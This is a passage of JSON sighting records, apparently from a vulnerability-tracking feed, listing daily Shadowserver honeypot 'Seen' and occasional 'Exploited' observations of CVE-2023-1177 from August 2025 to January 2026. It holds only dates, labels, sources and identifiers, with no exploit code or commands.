"2025-08-23T00:00:00Z", "date_only": false, "value": "2025-08-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "66d6e7a8-7505-454a-b47e-ae2bdeff841e"}, {"timestamp": "2025-08-26T00:00:00Z", "date_only": false, "value": "2025-08-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "33a429f2-689d-4875-997a-bffa949ee036"}, {"timestamp": "2025-08-27T00:00:00Z", "date_only": false, "value": "2025-08-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7ec04030-a3cc-43fd-873f-52255ea569f1"}, {"timestamp": "2025-08-28T00:00:00Z", "date_only": false, "value": "2025-08-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "88a60dd6-6755-456e-9f11-0f6ed70fc4f1"}, {"timestamp": "2025-08-30T00:00:00Z", "date_only": false, "value": "2025-08-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "307b1b7f-032d-4117-b04e-fdefcd362da2"}, {"timestamp": "2025-08-31T00:00:00Z", "date_only": false, "value": "2025-08-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "56aa2f3d-143f-49ed-83ef-234bdf5cbfd7"}, {"timestamp": "2025-09-01T00:00:00Z", "date_only": false, "value": "2025-09-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "62c49a03-b9d5-4cad-8537-18f0ae1fcd20"}, {"timestamp": "2025-09-03T00:00:00Z", "date_only": false, "value": "2025-09-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c41f25ec-6490-4381-ad82-8a3f7027e327"}, {"timestamp": "2025-09-05T00:00:00Z", "date_only": false, "value": "2025-09-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "47a26425-60fa-45e7-8462-b9c86b4ff114"}, {"timestamp": "2025-09-06T00:00:00Z", "date_only": false, "value": "2025-09-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "02d8d490-475f-4b65-82ce-e4ded4db84b9"}, {"timestamp": "2025-09-10T00:00:00Z", "date_only": false, "value": "2025-09-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "eed5fb62-0817-4266-83ff-c316a72c0a67"}, {"timestamp": "2025-09-12T00:00:00Z", "date_only": false, "value": "2025-09-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6d3aa9f6-a817-4a50-97e2-8297ce933a14"}, {"timestamp": "2025-09-14T00:00:00Z", "date_only": false, "value": "2025-09-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "98511f2d-e75e-48f3-a1c7-b3dff69dce27"}, {"timestamp": "2025-09-15T00:00:00Z", "date_only": false, "value": "2025-09-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5de3310c-f121-4d8e-b5fb-b5602b93374a"}, {"timestamp": "2025-09-16T00:00:00Z", "date_only": false, "value": "2025-09-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "05d76ff5-ad88-4e23-b6e9-59f5f9e8774a"}, {"timestamp": "2025-09-17T00:00:00Z", "date_only": false, "value": "2025-09-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "79200051-6a35-437b-b7c1-758983559e67"}, {"timestamp": "2025-09-19T00:00:00Z", "date_only": false, "value": "2025-09-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ba434aa8-c633-4808-a841-f0a2b8ba69c4", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-09-19T00:00:00Z", "date_only": false, "value": "2025-09-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4a26fde6-1c22-4b65-899d-d2c3813289a5"}, {"timestamp": "2025-09-21T00:00:00Z", "date_only": false, "value": "2025-09-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f209f0e4-f13d-42be-aff7-93c2039eb744"}, {"timestamp": "2025-09-24T00:00:00Z", "date_only": false, "value": "2025-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "241b54c3-46c6-443f-9c0e-7cbdbdea353c"}, {"timestamp": "2025-09-25T00:00:00Z", "date_only": false, "value": "2025-09-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3fc2d0a4-e3d4-4dfa-84e6-302ac26b5ec1"}, {"timestamp": "2025-09-27T00:00:00Z", "date_only": false, "value": "2025-09-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cfb658f8-d212-41de-bc18-59c00b83a36d"}, {"timestamp": "2025-09-28T00:00:00Z", "date_only": false, "value": "2025-09-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d069b170-44e0-4a74-a09c-5a6c5e97a7d5"}, {"timestamp": "2025-09-30T00:00:00Z", "date_only": false, "value": "2025-09-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2265796d-cb30-450c-9356-5ea71ed95d3f"}, {"timestamp": "2025-10-04T00:00:00Z", "date_only": false, "value": "2025-10-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2c938cc9-175d-409f-99ea-3ac9c074a584", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-10-04T00:00:00Z", "date_only": false, "value": "2025-10-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "efb11de1-0860-45b5-a6c3-2422d6e82d86"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e2087259-44c0-49b5-8149-fcf3ac5e9143"}, {"timestamp": "2025-10-06T00:00:00Z", "date_only": false, "value": "2025-10-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "defc0dbe-6bfc-4de4-aa6e-275309ada06a"}, {"timestamp": "2025-10-07T00:00:00Z", "date_only": false, "value": "2025-10-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8a01c5f0-c448-430c-9a9c-111f720e6de2"}, {"timestamp": "2025-10-09T00:00:00Z", "date_only": false, "value": "2025-10-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "420a1fcd-860f-4f92-a963-0c4cb059aea9"}, {"timestamp": "2025-10-11T00:00:00Z", "date_only": false, "value": "2025-10-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4b0da69c-30f5-4254-8e0d-dd1ea3f532ba"}, {"timestamp": "2025-10-13T00:00:00Z", "date_only": false, "value": "2025-10-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9784971d-397b-4413-bdf2-6d93b8a45333"}, {"timestamp": "2025-10-15T00:00:00Z", "date_only": false, "value": "2025-10-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c5b6acaa-efb2-433e-8c6c-f2c19ba0a4bc"}, {"timestamp": "2025-10-16T00:00:00Z", "date_only": false, "value": "2025-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "73efcab3-904d-4ef2-b679-3687cbed8c3c"}, {"timestamp": "2025-10-18T00:00:00Z", "date_only": false, "value": "2025-10-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c6cec5c7-1a02-442d-8d6f-8384f8c1ddcf"}, {"timestamp": "2025-10-19T00:00:00Z", "date_only": false, "value": "2025-10-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "69b2863e-ef31-43b3-acce-93ffeeabfc82"}, {"timestamp": "2025-10-20T00:00:00Z", "date_only": false, "value": "2025-10-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4eaf8ac7-bad0-43d8-b0f8-2feb102561de"}, {"timestamp": "2025-10-21T00:00:00Z", "date_only": false, "value": "2025-10-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "85b4398e-bc7b-46ef-ae08-8245ce2baca4"}, {"timestamp": "2025-10-22T00:00:00Z", "date_only": false, "value": "2025-10-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "55cfef03-e3cb-4743-b165-bfb94e8d3897"}, {"timestamp": "2025-10-23T00:00:00Z", "date_only": false, "value": "2025-10-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6b2ac986-449f-4413-b244-a40feae7af07"}, {"timestamp": "2025-10-24T00:00:00Z", "date_only": false, "value": "2025-10-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c8de8412-ba34-429f-99f5-7a1839b46db1"}, {"timestamp": "2025-10-25T00:00:00Z", "date_only": false, "value": "2025-10-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a1032c3b-2fa6-446c-bd4f-7d8824b2b2d7"}, {"timestamp": "2025-10-26T00:00:00Z", "date_only": false, "value": "2025-10-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "44a15c80-a2fe-47d1-ab80-67e187a3ff45"}, {"timestamp": "2025-10-27T00:00:00Z", "date_only": false, "value": "2025-10-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "021caf8d-7417-4e19-a369-32f32fd7b6af"}, {"timestamp": "2025-10-28T00:00:00Z", "date_only": false, "value": "2025-10-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "20deec26-1749-4a77-82de-c3cdf7b93118"}, {"timestamp": "2025-10-29T00:00:00Z", "date_only": false, "value": "2025-10-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fd84731e-ed66-4a1e-87b3-8bedb8a518ec"}, {"timestamp": "2025-10-31T00:00:00Z", "date_only": false, "value": "2025-10-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d9a22884-97de-40f9-b5e1-fd6ecbe07fa8"}, {"timestamp": "2025-11-02T00:00:00Z", "date_only": false, "value": "2025-11-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9d59eda2-7e34-4467-8ae8-739fb1279de2"}, {"timestamp": "2025-11-04T00:00:00Z", "date_only": false, "value": "2025-11-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "94b2f69c-d14a-42be-8c36-878a356e6c52"}, {"timestamp": "2025-11-05T00:00:00Z", "date_only": false, "value": "2025-11-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b1228b67-4ddd-4b53-8c92-6c9452de8f3d"}, {"timestamp": "2025-11-06T00:00:00Z", "date_only": false, "value": "2025-11-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d21611e6-4046-47f5-a429-86cf10b767aa"}, {"timestamp": "2025-11-07T00:00:00Z", "date_only": false, "value": "2025-11-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "02879766-06e7-4329-a74f-08f6a65dd520"}, {"timestamp": "2025-11-08T00:00:00Z", "date_only": false, "value": "2025-11-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dd19d0ed-6abe-4a54-b457-320c251644f7"}, {"timestamp": "2025-11-09T00:00:00Z", "date_only": false, "value": "2025-11-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "af38b807-0eb3-4d59-861a-ef8364da1df3", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-11-09T00:00:00Z", "date_only": false, "value": "2025-11-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6a150d27-a10b-4b3c-826b-2c81cf3845b5"}, {"timestamp": "2025-11-12T00:00:00Z", "date_only": false, "value": "2025-11-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fb7c5df1-c18b-476c-a009-660ab981d9db"}, {"timestamp": "2025-11-13T00:00:00Z", "date_only": false, "value": "2025-11-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "bc761dd2-f246-418a-8824-8ebe477a4577"}, {"timestamp": "2025-11-14T00:00:00Z", "date_only": false, "value": "2025-11-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6642f4d2-9edf-4845-badd-6f238b7bac6d"}, {"timestamp": "2025-11-17T00:00:00Z", "date_only": false, "value": "2025-11-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e73e32ee-5eb4-44bb-8ab5-96b32f9de804"}, {"timestamp": "2025-11-18T00:00:00Z", "date_only": false, "value": "2025-11-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "02ca011c-5967-452d-b082-e6b12325bf0d"}, {"timestamp": "2025-11-19T00:00:00Z", "date_only": false, "value": "2025-11-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "411d3841-627b-4c63-af47-ffaeb6d03615"}, {"timestamp": "2025-11-22T00:00:00Z", "date_only": false, "value": "2025-11-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7273fdbe-9a6c-42d9-bac8-0686f2546dc8"}, {"timestamp": "2025-11-26T00:00:00Z", "date_only": false, "value": "2025-11-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f1c0f4b6-c7ad-443b-b932-96b17b36771f"}, {"timestamp": "2025-11-27T00:00:00Z", "date_only": false, "value": "2025-11-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9f6f5568-3ea8-4ae5-86bc-f6811b2970af"}, {"timestamp": "2025-11-28T00:00:00Z", "date_only": false, "value": "2025-11-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6e3752a8-ecc8-4fc2-a8b9-a02700fbf778"}, {"timestamp": "2025-11-29T00:00:00Z", "date_only": false, "value": "2025-11-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d60f48dd-9546-4a1a-b038-8a9ca9f59bb9"}, {"timestamp": "2025-11-30T00:00:00Z", "date_only": false, "value": "2025-11-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "aa93be80-d10e-4d3c-b8ce-6ab3d45c99ac"}, {"timestamp": "2025-12-01T00:00:00Z", "date_only": false, "value": "2025-12-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5b8175e5-3c3e-4386-b3da-1f382927d152"}, {"timestamp": "2025-12-02T00:00:00Z", "date_only": false, "value": "2025-12-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "083f2e19-84b7-45cf-9535-322a6a964ada"}, {"timestamp": "2025-12-03T00:00:00Z", "date_only": false, "value": "2025-12-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "70ae913c-839a-41c3-8733-270dae158633"}, {"timestamp": "2025-12-04T00:00:00Z", "date_only": false, "value": "2025-12-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "163606b1-1ec3-43e3-a8a7-3c5627359a33"}, {"timestamp": "2025-12-05T00:00:00Z", "date_only": false, "value": "2025-12-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c7a8f2c5-afde-456f-ad4d-4495eda0baf1"}, {"timestamp": "2025-12-06T00:00:00Z", "date_only": false, "value": "2025-12-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "23e49413-21d6-42cf-bf58-91b4a7a3302c"}, {"timestamp": "2025-12-07T00:00:00Z", "date_only": false, "value": "2025-12-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e342ad86-b016-4c4a-8604-0b9806223c7c"}, {"timestamp": "2025-12-08T00:00:00Z", "date_only": false, "value": "2025-12-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2374ae13-2887-4548-8771-3a96ab6abe97"}, {"timestamp": "2025-12-09T00:00:00Z", "date_only": false, "value": "2025-12-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "46778492-7f09-4c9f-acdb-c38fed28908a"}, {"timestamp": "2025-12-13T00:00:00Z", "date_only": false, "value": "2025-12-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4c4ca01d-ecdd-4ff8-9e6c-f3d05285327f"}, {"timestamp": "2025-12-14T00:00:00Z", "date_only": false, "value": "2025-12-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9c48cedd-6f47-4f1a-8c4d-01184fbdc62c"}, {"timestamp": "2025-12-16T00:00:00Z", "date_only": false, "value": "2025-12-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "eb8e6e95-039c-4526-b48e-77f00e0df739"}, {"timestamp": "2025-12-17T00:00:00Z", "date_only": false, "value": "2025-12-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d840ef9b-4940-44d2-a7f6-c5ac41eccb1f"}, {"timestamp": "2025-12-19T00:00:00Z", "date_only": false, "value": "2025-12-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b1cd0e20-5d11-40a9-b978-b6a06d1b195f"}, {"timestamp": "2025-12-22T00:00:00Z", "date_only": false, "value": "2025-12-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "601affac-3df3-4bd8-9f95-287f5bc472a7"}, {"timestamp": "2025-12-26T00:00:00Z", "date_only": false, "value": "2025-12-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "51a37a17-7bf1-4aa5-a342-952c2e4c2819"}, {"timestamp": "2025-12-27T00:00:00Z", "date_only": false, "value": "2025-12-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b415b7c8-179a-40ea-b1b6-c571d4bf9b64"}, {"timestamp": "2025-12-28T00:00:00Z", "date_only": false, "value": "2025-12-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a3da8f5e-f0f9-4c03-a282-944232466a44"}, {"timestamp": "2025-12-31T00:00:00Z", "date_only": false, "value": "2025-12-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "17ed95cc-bf32-4a7b-8bef-0b77176afc14"}, {"timestamp": "2026-01-05T00:00:00Z", "date_only": false, "value": "2026-01-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c4ab8a38-804c-4cd8-bfca-a0fd334a5024", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-01-05T00:00:00Z", "date_only": false, "value": "2026-01-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c137aaf4-d419-4cf0-97aa-2bbed38023d4"}, {"timestamp": "2026-01-06T00:00:00Z", "date_only": false, "value": "2026-01-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": 